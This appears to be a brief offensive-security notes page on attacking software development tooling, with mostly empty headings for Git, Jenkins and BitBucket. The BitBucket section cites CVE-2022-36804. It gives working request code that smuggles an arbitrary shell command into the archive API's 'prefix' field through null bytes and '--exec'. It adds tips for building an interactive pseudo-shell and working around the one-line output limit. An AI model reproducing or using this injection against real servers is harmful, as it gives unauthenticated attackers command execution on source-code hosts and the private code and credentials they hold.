SDLC

Anything to can be used to attack SDLC processes.

Git

Framework-Specific Secrets Extraction

Jenkins

BitBucket

  • CVE-2022-36804open in new window
    • Decent writeup hereopen in new window
    • Sample code below. Pretty easy to write a faux "shell" from there.
      • Do note that this truncates output to a single line of text. Just replace newlines with a unique string, whitespace with another, and then translate back after getting the response.
      • Don't forget to:
        • Redirect stderr
        • Error out on shell commands like clear, alias, etc.
        • Expand more common aliases like ll
url = f"{bitbucket_url}/rest/api/latest/projects/{project}/archive"
params = {
  "filename": "whatever",
  "path": "whatever",
  "prefix": "ax" + "\0" + f"--exec=`{command}`" + "\0" + "--remote=origin"
}

Resources

Last Updated: